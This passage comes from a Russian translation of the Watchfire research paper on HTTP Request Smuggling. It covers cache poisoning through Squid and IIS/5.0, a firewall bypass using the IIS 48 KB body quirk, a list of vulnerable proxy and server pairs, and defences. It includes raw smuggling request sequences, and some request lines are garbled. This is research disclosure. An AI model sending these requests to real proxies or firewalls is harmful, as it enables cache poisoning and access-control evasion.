Squid отсылает строки 1-6 как запрос к веб-сервреу (IIS). Обратите внимание, что строка 4 имеет нормальный для Squid заголовок, так как содержит символ «:». IIS воспринимает информацию как два запроса, где строки 1 — 3 — первый запрос, ограниченный CRLF SP CRLF, за которым не следует строка заголовков. Данный запрос обслуживается IIS и ответ отправляется Squid. Затем Squid отправляет строки 7-8, но в это время IIS обслуживает ответ на строки 4-6. Следовательно, Squid отмечает что контент /poison.html соответствует запросу /page_to_poison.html.

В реализации данной методики есть несколько нюансов:
— До отсылки «атакующей» информации необходимо отправить запрос к какому-либо ресурсу с заголовком Connection: Keep-Alive. Этот заголовок говорит IIS, что соединение пявляется постоянным. Было бы не эффективным добавлять этот заголовок к первому запросу (например, между строками 1 и 2), так как Squid меняет порядок следования HTTP- заголовков и отсылает заголовок Connection в конце (например, после строки 4). В таком случае IIS увидит первый HTTP/1.0-запрос на свежем TCP-подключении без заголовка Connection: Keep-Alive и решит что соединение не является постоянным. А это помешает провести атаку.

— Squid должен увидеть второй ответ IIS только после того как отправит то, что он считает вторым запросом (строки 7-8). Следовательно, эта атака может потребовать повторения, до тех пор, пока события не произойдут в нужном порядке и заражение не удастся.

преждевременный отброс IIS/5.0 запросов с длиной тела >48 кб.

Как не сложно догадаться из названия, в некоторых случаях IIS/5.0 ведет себя очень странно. Если запрос имеет большое тело (больше 48 кб) (например, POST с правильным телом и соответствующим заголовком Content-Length) и не имеет заголовка Content-Type, то он будет обработан как запрос с телом объемом 48 кб (49512). После 49512 байт тела, IIS/5.0 оборвет запрос и начнет обработку нового запроса. Это делает очень простой организацию «контрабанды» запросов к нему, так как такое поведение противоречит RFC. Атака выглядит примерно так:

1 POSTсайтHTTP/1.1
2 Host: SITE
3 Connection: keep-alive
4 Content-Length: 49181
5
6 AAAAA … AAAA[49150 times]
7 GET /poison.html HTTP/1.0
8
9 GETсайтHTTP/1.1
10 Host: SITE
11


Кэш-сервер перенаправляет строки 1-8 веб-серверу. Следует отметить, что Content-Length покрывает как раз все наполнение в строке 6 (49150 байт) плюс CRLF в конце строки 6, плюс строки 7 и 8 (каждая с CRLF). IIS/5.0 читает строки 1-6 как первый запрос (заканчивая тело после 49152 байт, что в точности совпадает с началом строки 7) и видит за ним второй запрос (строки 7-8). Он отправляет ответ на первый запрос кэш-серверу. Кэш- сервер теперь отправляет второй запрос (/page_to_poison.html) (строки 9-11). IIS/5.0 обрабатывает второй ответ (строки 7-8) и отправляет контент /poison.html на запрос к /page_to_poison.html. В итоге кэш-сервер в ответ на запрос к /page_to_poison.html получает контент /poison.html. Еще один пример покажет, как можно обойти FW-1:

1 POST /dynamic_page1.asp HTTP/1.1
2 Host: SITE
3 Connection: keep-alive
4 Content-Length: 49230
5
6 AAAAA … AAAA[49150 times]
7 POST /dynamic_page2.asp HTTP/1.0
8 Connection: Keep-Alive
9 Content-Length: 35
10
11 POST /dynamic_page3 HTTP/1.0
12 Bla: GET /malicious_url HTTP/1.0
13
14 GET /some_page HTTP/1.0 15

FW-1 перенаправляет первый запрос (строки 1-10) IIS/5.0. IIS/5.0 читает строки 1-6 и считает их законченным запросом. Он отсылает ответ обратно FW-1. Затем он читает строки 7-10 и считает их вторым законченным запросом (тело еще не пришло).

FW-1 перенаправляет ответ от IIS атакующему и отсылает строки 11-13 в качестве второго запроса. IIS/5.0 получает строку 11 и первые 5 байт строки 12 в качестве тела второго запроса и отвечает на второй запрос. FW-1 получает ответ и отправляет третий запрос в строках 14-15. IIS теперь отправляет третий ответ на третий запрос (строки 12-13), что фактически является результатом запроса к /malicious_url.

заключение

Как было показано на практике, множество систем уязвимо к описываемой в статье методике. Опытным путем было доказано наличие уязвимостей в следующих парах прокси/файрволл и веб-сервер:

Squid 2.5stable4 (Unix) and Squid 2.5stable5 for NT:
— IIS/5.0;
— WebLogic 8.1 SP1.

Apache 2.0.45:
— IIS/5.0;
— IS/6.0;
— Apache 1.3.29;
— Apache 2.0.45;
— WebSphere 5.1 and 5.0;
— WebLogic 8.1 SP1;
— Oracle9iAS web server 9.0.2;
— SunONE web server 6.1 SP4.

ISA/2000:
— IIS/5.0;
— Tomcat 5.0.19;
— Tomcat 4.1.24;
— SunONE web server 6.1 SP4.

DeleGate 8.9.2:
— IIS/6.0;
— Tomcat 5.0.19;
— Tomcat 4.1.24;
— SunONE web server 6.1 SP4.

Oracle9iAS cache server 9.0.2:
— WebLogic 8.1 SP1.

SunONE proxy server 3.6 SP4:
— Tomcat 5.0.19;
— Tomcat 4.1.24;
— SunONE web server 6.1 SP4.

FW-1 Web Intelligence kernel 55W beta (техника IIS 48K возможно работает с R55W):
— IIS/5.0.

И это далеко не полный список! Существует еще множество систем, которые мы не тестировали.

защита вашего сайта от HRS

Как защитить сайт от HRS (считая, что к нему относятся как веб-, так и кэш-сервер)?

Установка файрволла, конечно, может помочь, но как было показано на примере FW-1, некоторые файрволлы могут быть с легкостью обмануты. Другим возможным вариантом является использование веб-сервера со строгими правилами обработки HTTP, например, Apache. В качестве других, более сложных вариантов, можно предложить использование SSL (https вместо http), обрыв каждой сессии после каждого запроса или превращение всех страниц в не кэшируемые.
Также для защиты некоторых приложений выпущены различные патчи.

важное замечание

Единственным действенным методом противостоять подобным атакам — это заставить все HTTP-звенья обрабатывать информацию строго по одним и тем же правилам, что, к сожалению, мало реально в ближайшем будущем.




Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, Watchfire. Перевод Дмитрия Герусса.


© Сетевые решения